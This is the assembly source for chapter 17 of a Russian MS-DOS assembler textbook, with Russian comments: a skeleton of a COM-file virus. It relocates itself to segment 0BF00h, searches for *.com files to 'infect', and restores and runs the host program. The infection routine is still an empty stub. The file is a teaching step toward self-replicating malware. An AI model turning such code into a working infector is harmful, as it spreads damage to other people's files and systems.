
;              VIRUS17.ASM - программа к Главе № 017

; (С) Авторские права на файлы-приложения принадлежат автору книги
; "Ассемблер? Это просто! Учимся программировать под MS-DOS"
; Автор: Калашников Олег Александрович (e-mail: Assembler@Kalashnikoff.ru)
;	 http://www.Kalashnikoff.ru

; --- Ассемблирование (получение *.com файла) ---
;При использовании MASM 6.11 - 6.13:
;ML.EXE virus17.asm /AT

;При использовании TASM:
;TASM.EXE virus17.asm
;TLINK.EXE virus17.obj /t/x


.286
CSEG segment
assume cs:CSEG, ds:CSEG, es:CSEG, ss:CSEG
org 100h

Begin:
       jmp Init ; преходим на процедуру инициализации 

;Это будут строки, указывающие то, что программа уже заражена
;Обратите внимание, что мы данным строкам вообще не задаем никакого имени.
;Так можно делать!
  db 77h, 88h, 99h

;       === Процедуры работы с файлами ===

; --- Открытие файла для записи ---
; Вход:  DX - путь к файлу в ASCIIZ
; Выход: Handle, BX - номер файла
Open_file proc
     mov ax,3D02h	;Открываем файл для чтения/записи
     mov dx,1Eh		;DX указывает на имя найденного файла в DTA
     int 21h
     mov Handle,ax	;Сохраняем номер файла
     mov bx,ax
     ret

Handle dw 0FFFFh	;Переменная для хранения номера файла
Open_file endp

; --- Закрытие файла ---
; Вход:  Handle - номер открытого файла
; Выход: ничего
Close_file proc
     cmp Handle,0FFFFh	;Нет открытых файлов?
     je No_close	;Тогда выходим (закрывать нечего!) 

     mov bx,Handle	;Закрываем файл...
     mov ah,3Eh
     int 21h

No_close:
   ret
Close_file endp

; --- Поиск первого файла ---
Find_first proc
      mov ah,4Eh	;Ищем первый файл по маске (Mask_file)
      xor cx,cx		;Атрибуты обычные (CX=0)
      mov dx,offset Mask_file ;Адрес маски в DS:DX
      int 21h		;Теперь (если нашли файл *.com в текущем каталоге)
			;имя файла находится по адресу 0BF00:001Eh,
			;т.е. по смещению 30...
   ret
Mask_file db '*.com',0	;Маска для поиска (только COM-файлы)
Find_first endp

; --- Поиск следующих файлов ---
Find_next proc
      xor dx,dx		;DS:DX указывают на DTA
      xor cx,cx		;Атрибуты обычные
      mov ah,4Fh
      int 21h		;Теперь в DTA находится информация
			;о следующем найденном файле
   ret
Find_next endp

; --- Заражение файла ---
Infect_file proc
      clc

   ret
Infect_file endp



; === Процедура инициализации вируса ===
Init:
       call Get_IP		;Получим смещение, где мы сейчас находимся
Get_IP:
       pop ax			;Теперь в AX - смещение
       sub ax,offset Get_IP	;Вычтем из него реальный адрес, где мы будем
				;находиться в сегменте 0BF00h
				;Получим размер файла-"жертвы", если его нет,
				;то AX будет равен 0

       push 0BF00h
       pop es			;ES - сегмент, куда будем перемещать код вируса,

       mov di,offset Open_file	;DI - смещение (адрес самой первой процедуры )
       mov si,di
       add si,ax		;SI должен содержать РЕАЛЬНЫЙ адрес (смещение),
				;т.к. мы пока еще в сегменте "файла-жертвы"...

       mov cx,offset Finish-100h ;т.е. CX = длина нашего вируса в байтах
       rep movsb		;Теперь в памяти две копии нашего вируса

;Занесем в стек смещение (Lab_return+AX) и сегмент (CS) возврата из копии...
       mov bx,offset Lab_return
       add bx,ax		;Т.е. как бы искусственно заносим адрес возврата
       push cs			;для команды retf
       push bx

;Занесем в стек адрес для перехода в нашу копию:
;  * сегмент - 0BF00h
;  * смещение - Lab_jmp
       mov bx,offset Lab_jmp	;Аналогично вышесказанному...
       add bx,ax
       push 0BF00h
       push bx

;ВНИМАНИЕ!
;В стеке находится адрес следующей метки, только расположенной в другом
;сегменте, а именно: 0BF00h.
;По этому адресу находится метка Lab_jmp (см. следующую строку ).

;Теперь перейдем на метку Lab_jmp, расположенную в сегменте 0BF00h,
;используя оператор retf, который вытащит из стека указанный выше сегмент и
;смещение (0BF00h:Lab_jmp+AX) и "прыгнет" на него.
       retf


; Теперь мы уже в области экрана. Однако, в стеке находится адрес возврата на
; метку Lab_return, но в сегмент программы-"жертвы"
Lab_jmp:

;Вот сюда мы и "прыгнули" с предыдущей строки! Толко CS теперь
;равен 0BF00h.

       push cs		;Настроим регистр DS
       pop ds

       mov ah,1Ah	;Установим DTA для поиска файлов
       xor dx,dx	;Он устанавливается на тот адрес, который содержится
       int 21h		;в регистрах DS:DX. В отладчике посмотрите,
			;что находится в памяти, на которую указывают данные
			;регистры, т.е. DS:DX...

       call Find_first	;Ищем первый файл
       jc Nomore_files	;Нет COM-файлов - на выход 

Inf_file:
       call Infect_file	;Нашли - пробуем заразить
       jnc Nomore_files	;Удалось заразить - выходим 

       call Find_next	;Не удалось заразить - ищем следующий
       jnc Inf_file	;Нашли еще один COM-файл; пробуем заразить... 


;Выполнили свою грязную работу. Пора передавать управление файлу-"жертве";
;нужно восстановить его первые шесть байт, которые храняться в переменной
;First_bytes 
Nomore_files:
      mov si,offset First_bytes ;DS:SI - на массив из шести слов
      mov di,100h	;ES:DI - куда пермещать строку (шесть байт)
      push ss		;SS содержит сегмент файла-жертвы, который
      pop es		;нужно загрузить в ES
      mov cx,6		;6 байт перемещаем: DS:SI = ES:DI
      rep movsb

;"Файл-жертва" восстановлен в памяти (точнее, его первые шесть байт).
;Теперь вернемся в сегмент программы-"жертвы", т.е. туда, где мы
;были изначально. Как?
;Вспомните, что в стеке хранится смещение и сегмент для возврата:

;mov bx,offset Lab_return
;add bx,ax ;Т.е. как бы искусственно заносим адрес возврата для
;push cs   ;комады retf
;push bx

;Команда retf, как Вам уже известно, вытащит из стека смещение (Lab_return+AX)
;и сегмент (CS) и перейдет по этому адресу. Вот и весь фокус!
       retf


;Теперь мы опять в сегменте зараженной программы ("прыгнули" с предыдущей
;строки командой retf)... 
Lab_return:
       push cs		;Восстановим DS (ES уже в порядке!)
       pop ds

       mov ah,1Ah	;Восстановим DTA
       mov dx,80h
       int 21h

       mov ax,100h	;Передаем управление "файлу-жертве" вот таким странным
       jmp ax		;способом. Т.е. jmp 100h


; === Данные ===
;Здесь (First_bytes) хранятся первые байты "файла-жертвы".
;Если это первый запуск вируса, то по умолчанию получим:
;nop (90h)
;nop (90h)
;nop (90h)
;nop (90h)
;int 20h (0CDh, 20h)
;Итого: 6 байт
; первые три байта - jmp на код вируса, который мы искусственно добавим
;                    при заражении какой-нибудь программы.
; вторые три байта - метка того, что файл уже заражен нашим вирусом
;                    У нас будет: 77h, 88h, 99h
First_bytes db 4 dup (90h), 0CDh, 20h

Finish equ $	;Метка конца программы-вируса

CSEG ends
end Begin